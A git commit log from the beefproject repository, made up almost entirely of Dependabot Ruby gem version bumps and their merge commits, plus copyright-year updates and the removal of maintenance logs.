dependabot[bot]
466a0c7d90 Bump rdoc from 6.13.0 to 6.13.1
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.13.0 to 6.13.1.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.13.0...v6.13.1)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-07 14:21:54 +00:00
github-actions[bot]
a4d250b7aa Merge pull request #3318 from beefproject/dependabot/bundler/selenium-webdriver-4.31.0
Bump selenium-webdriver from 4.30.1 to 4.31.0
2025-04-07 14:20:38 +00:00
dependabot[bot]
0e027c2118 Bump selenium-webdriver from 4.30.1 to 4.31.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.30.1 to 4.31.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits/selenium-4.31.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-version: 4.31.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-07 14:18:06 +00:00
github-actions[bot]
da3bad2414 Merge pull request #3317 from beefproject/dependabot/bundler/maxmind-db-1.3.2
Bump maxmind-db from 1.2.0 to 1.3.2
2025-04-04 13:42:13 +00:00
dependabot[bot]
a9992ec90b Bump maxmind-db from 1.2.0 to 1.3.2
Bumps [maxmind-db](https://github.com/maxmind/MaxMind-DB-Reader-ruby) from 1.2.0 to 1.3.2.
- [Release notes](https://github.com/maxmind/MaxMind-DB-Reader-ruby/releases)
- [Changelog](https://github.com/maxmind/MaxMind-DB-Reader-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/maxmind/MaxMind-DB-Reader-ruby/compare/v1.2.0...v1.3.2)

---
updated-dependencies:
- dependency-name: maxmind-db
  dependency-version: 1.3.2
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-04 13:39:29 +00:00
github-actions[bot]
0dabe85c82 Merge pull request #3311 from beefproject/dependabot/bundler/pry-byebug-3.11.0
Bump pry-byebug from 3.10.1 to 3.11.0
2025-04-03 13:32:27 +00:00
dependabot[bot]
1f440800c4 Bump pry-byebug from 3.10.1 to 3.11.0
Bumps [pry-byebug](https://github.com/deivid-rodriguez/pry-byebug) from 3.10.1 to 3.11.0.
- [Release notes](https://github.com/deivid-rodriguez/pry-byebug/releases)
- [Changelog](https://github.com/deivid-rodriguez/pry-byebug/blob/master/CHANGELOG.md)
- [Commits](https://github.com/deivid-rodriguez/pry-byebug/compare/v3.10.1...v3.11.0)

---
updated-dependencies:
- dependency-name: pry-byebug
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:29:58 +00:00
github-actions[bot]
0da3f9a8e9 Merge pull request #3314 from beefproject/dependabot/bundler/irb-1.15.2
Bump irb from 1.15.1 to 1.15.2
2025-04-03 13:28:56 +00:00
dependabot[bot]
bd70331a1e Bump irb from 1.15.1 to 1.15.2
Bumps [irb](https://github.com/ruby/irb) from 1.15.1 to 1.15.2.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.15.1...v1.15.2)

---
updated-dependencies:
- dependency-name: irb
  dependency-version: 1.15.2
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:26:34 +00:00
github-actions[bot]
7595407e44 Merge pull request #3315 from beefproject/dependabot/bundler/rubocop-1.75.2
Bump rubocop from 1.75.1 to 1.75.2
2025-04-03 13:25:29 +00:00
dependabot[bot]
6b1b1f6abd Bump rubocop from 1.75.1 to 1.75.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.75.1 to 1.75.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.75.1...v1.75.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-version: 1.75.2
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-04-03 13:23:02 +00:00
github-actions[bot]
62f90749f7 Merge pull request #3309 from beefproject/dependabot/bundler/mime-types-3.6.2
Bump mime-types from 3.6.1 to 3.6.2
2025-03-27 13:45:43 +00:00
dependabot[bot]
1f222bdffa Bump mime-types from 3.6.1 to 3.6.2
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.1 to 3.6.2.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.1...v3.6.2)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:43:13 +00:00
github-actions[bot]
ac779f46af Merge pull request #3307 from beefproject/dependabot/bundler/rdoc-6.13.0
Bump rdoc from 6.12.0 to 6.13.0
2025-03-27 13:42:09 +00:00
dependabot[bot]
536553b065 Bump rdoc from 6.12.0 to 6.13.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:38:31 +00:00
github-actions[bot]
caca750e12 Merge pull request #3308 from beefproject/dependabot/bundler/selenium-webdriver-4.30.1
Bump selenium-webdriver from 4.29.1 to 4.30.1
2025-03-27 13:37:29 +00:00
dependabot[bot]
44f480c496 Bump selenium-webdriver from 4.29.1 to 4.30.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.29.1 to 4.30.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:34:53 +00:00
github-actions[bot]
89354083ae Merge pull request #3310 from beefproject/dependabot/bundler/rubocop-1.75.1
Bump rubocop from 1.74.0 to 1.75.1
2025-03-27 13:33:49 +00:00
dependabot[bot]
f3d9c6fb36 Bump rubocop from 1.74.0 to 1.75.1
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.74.0 to 1.75.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.74.0...v1.75.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-27 13:30:13 +00:00
github-actions[bot]
98e8fef8e6 Merge pull request #3306 from beefproject/dependabot/bundler/nokogiri-1.18.4
Bump nokogiri from 1.18.3 to 1.18.4
2025-03-21 23:59:15 +00:00
dependabot[bot]
ee8cb21d68 Bump nokogiri from 1.18.3 to 1.18.4
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.18.3 to 1.18.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.18.3...v1.18.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-21 23:56:43 +00:00
github-actions[bot]
f919039621 Merge pull request #3304 from beefproject/dependabot/bundler/mime-types-3.6.1
Bump mime-types from 3.6.0 to 3.6.1
2025-03-18 13:30:00 +00:00
dependabot[bot]
822b2c1ec6 Bump mime-types from 3.6.0 to 3.6.1
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.6.0 to 3.6.1.
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/CHANGELOG.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.6.0...v3.6.1)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-18 13:27:36 +00:00
github-actions[bot]
e8890c0dab Merge pull request #3299 from beefproject/dependabot/bundler/json-2.10.2
Bump json from 2.10.1 to 2.10.2
2025-03-13 14:03:06 +00:00
dependabot[bot]
978a397b3a Bump json from 2.10.1 to 2.10.2
Bumps [json](https://github.com/ruby/json) from 2.10.1 to 2.10.2.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.10.1...v2.10.2)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-13 14:00:30 +00:00
github-actions[bot]
212dc24d01 Merge pull request #3301 from beefproject/dependabot/bundler/rubocop-1.74.0
Bump rubocop from 1.72.2 to 1.74.0
2025-03-13 13:59:25 +00:00
dependabot[bot]
353a8e66c6 Bump rubocop from 1.72.2 to 1.74.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.72.2 to 1.74.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.72.2...v1.74.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-13 13:56:57 +00:00
github-actions[bot]
5922a54efd Merge pull request #3289 from beefproject/dependabot/bundler/sqlite3-2.6.0
Bump sqlite3 from 2.5.0 to 2.6.0
2025-03-11 02:55:37 +00:00
dependabot[bot]
738fd47580 Bump sqlite3 from 2.5.0 to 2.6.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.5.0 to 2.6.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.5.0...v2.6.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:53:17 +00:00
github-actions[bot]
3432d7ed63 Merge pull request #3291 from beefproject/dependabot/bundler/selenium-webdriver-4.29.1
Bump selenium-webdriver from 4.28.0 to 4.29.1
2025-03-11 02:52:11 +00:00
dependabot[bot]
84d1acc6b4 Bump selenium-webdriver from 4.28.0 to 4.29.1
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.28.0 to 4.29.1.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/commits)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:49:20 +00:00
github-actions[bot]
405151f33a Merge pull request #3282 from beefproject/dependabot/bundler/curb-1.0.9
Bump curb from 1.0.6 to 1.0.9
2025-03-11 02:48:13 +00:00
dependabot[bot]
c8b0a1ac69 Bump curb from 1.0.6 to 1.0.9
Bumps [curb](https://github.com/taf2/curb) from 1.0.6 to 1.0.9.
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:45:46 +00:00
github-actions[bot]
de51ade953 Merge pull request #3298 from beefproject/dependabot/bundler/rack-2.2.13
Bump rack from 2.2.11 to 2.2.13
2025-03-11 02:44:43 +00:00
dependabot[bot]
5372e350c0 Bump rack from 2.2.11 to 2.2.13
Bumps [rack](https://github.com/rack/rack) from 2.2.11 to 2.2.13.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.11...v2.2.13)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-03-11 02:42:10 +00:00
github-actions[bot]
cd70ba15c6 Merge pull request #3286 from beefproject/dependabot/bundler/nokogiri-1.18.3
Bump nokogiri from 1.17.2 to 1.18.3
2025-02-19 13:01:36 +00:00
dependabot[bot]
1c6962e45a Bump nokogiri from 1.17.2 to 1.18.3
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.17.2 to 1.18.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.18.3/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.17.2...v1.18.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-19 12:58:29 +00:00
github-actions[bot]
049134b2d0 Merge pull request #3284 from beefproject/dependabot/bundler/rubocop-1.72.2
Bump rubocop from 1.71.2 to 1.72.2
2025-02-18 13:38:23 +00:00
dependabot[bot]
d827ca86e5 Bump rubocop from 1.71.2 to 1.72.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.71.2 to 1.72.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.71.2...v1.72.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-18 13:35:49 +00:00
github-actions[bot]
1cdc6bc86c Merge pull request #3281 from beefproject/dependabot/bundler/async-dns-1.4.1
Bump async-dns from 1.3.0 to 1.4.1
2025-02-17 13:37:26 +00:00
dependabot[bot]
828ab302f4 Bump async-dns from 1.3.0 to 1.4.1
Bumps [async-dns](https://github.com/socketry/async-dns) from 1.3.0 to 1.4.1.
- [Changelog](https://github.com/socketry/async-dns/blob/main/release.cert)
- [Commits](https://github.com/socketry/async-dns/compare/v1.3.0...v1.4.1)

---
updated-dependencies:
- dependency-name: async-dns
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-17 13:34:50 +00:00
github-actions[bot]
d52c37f3e4 Merge pull request #3274 from beefproject/dependabot/bundler/rubocop-1.71.2
Bump rubocop from 1.71.0 to 1.71.2
2025-02-12 13:53:23 +00:00
dependabot[bot]
8eecff3b18 Bump rubocop from 1.71.0 to 1.71.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.71.0 to 1.71.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.71.0...v1.71.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-12 13:51:03 +00:00
github-actions[bot]
ff9442b187 Merge pull request #3280 from beefproject/dependabot/bundler/rack-2.2.11
Bump rack from 2.2.10 to 2.2.11
2025-02-12 13:49:54 +00:00
dependabot[bot]
5b9187e7d4 Bump rack from 2.2.10 to 2.2.11
Bumps [rack](https://github.com/rack/rack) from 2.2.10 to 2.2.11.
- [Release notes](https://github.com/rack/rack/releases)
- [Changelog](https://github.com/rack/rack/blob/main/CHANGELOG.md)
- [Commits](https://github.com/rack/rack/compare/v2.2.10...v2.2.11)

---
updated-dependencies:
- dependency-name: rack
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-12 13:47:31 +00:00
github-actions[bot]
192d082824 Merge pull request #3275 from beefproject/dependabot/bundler/net-smtp-0.5.1
Bump net-smtp from 0.5.0 to 0.5.1
2025-02-11 13:19:49 +00:00
dependabot[bot]
d1e9c2165f Bump net-smtp from 0.5.0 to 0.5.1
Bumps [net-smtp](https://github.com/ruby/net-smtp) from 0.5.0 to 0.5.1.
- [Release notes](https://github.com/ruby/net-smtp/releases)
- [Changelog](https://github.com/ruby/net-smtp/blob/master/NEWS.md)
- [Commits](https://github.com/ruby/net-smtp/compare/v0.5.0...v0.5.1)

---
updated-dependencies:
- dependency-name: net-smtp
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:17:09 +00:00
github-actions[bot]
4bc6185e76 Merge pull request #3276 from beefproject/dependabot/bundler/rdoc-6.12.0
Bump rdoc from 6.11.0 to 6.12.0
2025-02-11 13:16:05 +00:00
dependabot[bot]
78b905a329 Bump rdoc from 6.11.0 to 6.12.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:13:36 +00:00
github-actions[bot]
2a60191d1d Merge pull request #3279 from beefproject/dependabot/bundler/json-2.10.1
Bump json from 2.9.1 to 2.10.1
2025-02-11 13:12:30 +00:00
dependabot[bot]
a094a9282c Bump json from 2.9.1 to 2.10.1
Bumps [json](https://github.com/ruby/json) from 2.9.1 to 2.10.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
- [Commits](https://github.com/ruby/json/compare/v2.9.1...v2.10.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-02-11 13:09:55 +00:00
github-actions[bot]
3398480019 Merge pull request #3267 from beefproject/dependabot/bundler/rubocop-1.71.0
Bump rubocop from 1.70.0 to 1.71.0
2025-01-23 13:55:13 +00:00
dependabot[bot]
31fd931e29 Bump rubocop from 1.70.0 to 1.71.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.70.0 to 1.71.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.70.0...v1.71.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-23 13:52:49 +00:00
github-actions[bot]
6beca7c7cf Merge pull request #3266 from beefproject/dependabot/bundler/irb-1.15.1
Bump irb from 1.14.3 to 1.15.1
2025-01-22 13:50:30 +00:00
dependabot[bot]
53dfff40f2 Bump irb from 1.14.3 to 1.15.1
Bumps [irb](https://github.com/ruby/irb) from 1.14.3 to 1.15.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.3...v1.15.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-22 13:47:56 +00:00
github-actions[bot]
7ea8c597b8 Merge pull request #3265 from beefproject/dependabot/bundler/selenium-webdriver-4.28.0
Bump selenium-webdriver from 4.27.0 to 4.28.0
2025-01-21 13:36:08 +00:00
dependabot[bot]
aabb1a28d6 Bump selenium-webdriver from 4.27.0 to 4.28.0
Bumps [selenium-webdriver](https://github.com/SeleniumHQ/selenium) from 4.27.0 to 4.28.0.
- [Release notes](https://github.com/SeleniumHQ/selenium/releases)
- [Changelog](https://github.com/SeleniumHQ/selenium/blob/trunk/rb/CHANGES)
- [Commits](https://github.com/SeleniumHQ/selenium/compare/selenium-4.27.0...selenium-4.28.0)

---
updated-dependencies:
- dependency-name: selenium-webdriver
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-21 13:33:00 +00:00
zinduolis
2d63418b91 Merge pull request #3264 from zinduolis/remove_2024_logs
Remove maintenance logs
2025-01-21 15:10:24 +10:00
zinduolis
9127df1709 Remove maintenance logs 2025-01-21 14:13:43 +10:00
github-actions[bot]
76279725a2 Merge pull request #3257 from beefproject/dependabot/bundler/rubocop-1.70.0
Bump rubocop from 1.69.2 to 1.70.0
2025-01-16 13:24:58 +00:00
dependabot[bot]
9dee3f8f96 Bump rubocop from 1.69.2 to 1.70.0
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.69.2 to 1.70.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.69.2...v1.70.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-16 13:22:24 +00:00
github-actions[bot]
dbff2155d0 Merge pull request #3259 from beefproject/dependabot/bundler/rdoc-6.11.0
Bump rdoc from 6.10.0 to 6.11.0
2025-01-16 13:21:16 +00:00
dependabot[bot]
f2f52bd399 Bump rdoc from 6.10.0 to 6.11.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.10.0 to 6.11.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.10.0...v6.11.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-16 13:18:33 +00:00
github-actions[bot]
bc3a934aa2 Merge pull request #3256 from beefproject/dependabot/bundler/rubyzip-2.4.1
Bump rubyzip from 2.3.2 to 2.4.1
2025-01-06 13:53:37 +00:00
dependabot[bot]
1380dc6df0 Bump rubyzip from 2.3.2 to 2.4.1
Bumps [rubyzip](https://github.com/rubyzip/rubyzip) from 2.3.2 to 2.4.1.
- [Release notes](https://github.com/rubyzip/rubyzip/releases)
- [Changelog](https://github.com/rubyzip/rubyzip/blob/master/Changelog.md)
- [Commits](https://github.com/rubyzip/rubyzip/compare/v2.3.2...v2.4.1)

---
updated-dependencies:
- dependency-name: rubyzip
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-01-06 13:51:23 +00:00
github-actions[bot]
2b04f634aa Merge pull request #3252 from beefproject/dependabot/bundler/sqlite3-2.5.0
Bump sqlite3 from 2.4.1 to 2.5.0
2024-12-26 13:21:18 +00:00
dependabot[bot]
3d60727af5 Bump sqlite3 from 2.4.1 to 2.5.0
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.4.1 to 2.5.0.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.4.1...v2.5.0)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-26 13:18:52 +00:00
zinduolis
1c1e1adc7f Merge pull request #3251 from zinduolis/update_copyright_to_2025
Update copyright in rb, js, yaml, html, md, txt, css, c, nasm, java, php and as files
2024-12-26 14:33:07 +10:00
zinduolis
b5b192591b Second round of Copyright date update 2024-12-25 12:43:13 +10:00
zinduolis
101020ffa0 Update copyright in rb, js and jsdocs 2024-12-25 11:40:55 +10:00
github-actions[bot]
30236edc33 Merge pull request #3242 from beefproject/dependabot/bundler/otr-activerecord-2.5.0
Bump otr-activerecord from 2.4.0 to 2.5.0
2024-12-22 23:43:25 +00:00
dependabot[bot]
edfe6dadf6 Bump otr-activerecord from 2.4.0 to 2.5.0
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.4.0 to 2.5.0.
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.4.0...v2.5.0)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:41:07 +00:00
github-actions[bot]
de16310935 Merge pull request #3246 from beefproject/dependabot/bundler/irb-1.14.3
Bump irb from 1.14.1 to 1.14.3
2024-12-22 23:40:07 +00:00
dependabot[bot]
6c588ef63f Bump irb from 1.14.1 to 1.14.3
Bumps [irb](https://github.com/ruby/irb) from 1.14.1 to 1.14.3.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.14.1...v1.14.3)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:37:52 +00:00
github-actions[bot]
8915c2f4ac Merge pull request #3240 from beefproject/dependabot/bundler/rubocop-1.69.2
Bump rubocop from 1.68.0 to 1.69.2
2024-12-22 23:36:51 +00:00
dependabot[bot]
05c1ffb654 Bump rubocop from 1.68.0 to 1.69.2
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.68.0 to 1.69.2.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.68.0...v1.69.2)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:34:42 +00:00
github-actions[bot]
68f943ea8d Merge pull request #3239 from beefproject/dependabot/bundler/activerecord-7.2.2.1
Bump activerecord from 7.2.2 to 7.2.2.1
2024-12-22 23:33:43 +00:00
dependabot[bot]
2290953595 Bump activerecord from 7.2.2 to 7.2.2.1
Bumps [activerecord](https://github.com/rails/rails) from 7.2.2 to 7.2.2.1.
- [Release notes](https://github.com/rails/rails/releases)
- [Changelog](https://github.com/rails/rails/blob/v8.0.0.1/activerecord/CHANGELOG.md)
- [Commits](https://github.com/rails/rails/compare/v7.2.2...v7.2.2.1)

---
updated-dependencies:
- dependency-name: activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:31:31 +00:00
github-actions[bot]
e1e381ea12 Merge pull request #3245 from beefproject/dependabot/bundler/rdoc-6.10.0
Bump rdoc from 6.8.1 to 6.10.0
2024-12-22 23:30:28 +00:00
dependabot[bot]
cab8b8ddf4 Bump rdoc from 6.8.1 to 6.10.0
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.8.1 to 6.10.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.8.1...v6.10.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:28:12 +00:00
github-actions[bot]
e0f0402699 Merge pull request #3238 from beefproject/dependabot/bundler/sqlite3-2.4.1
Bump sqlite3 from 2.2.0 to 2.4.1
2024-12-22 23:27:10 +00:00
dependabot[bot]
7e1305f7d9 Bump sqlite3 from 2.2.0 to 2.4.1
Bumps [sqlite3](https://github.com/sparklemotion/sqlite3-ruby) from 2.2.0 to 2.4.1.
- [Release notes](https://github.com/sparklemotion/sqlite3-ruby/releases)
- [Changelog](https://github.com/sparklemotion/sqlite3-ruby/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/sqlite3-ruby/compare/v2.2.0...v2.4.1)

---
updated-dependencies:
- dependency-name: sqlite3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-22 23:24:58 +00:00
github-actions[bot]
800dabbba7 Merge pull request #3247 from beefproject/dependabot/bundler/json-2.9.1
Bump json from 2.8.2 to 2.9.1
2024-12-22 23:23:59 +00:00
dependabot[bot]
d56e18a991 Bump json from 2.8.2 to 2.9.1
Bumps [json](https://github.com/ruby/json) from 2.8.2 to 2.9.1.
- [Release notes](https://github.com/ruby/json/releases)
- [Changelog](https://github.com/ruby/json/blob/master/CHANGES.md)
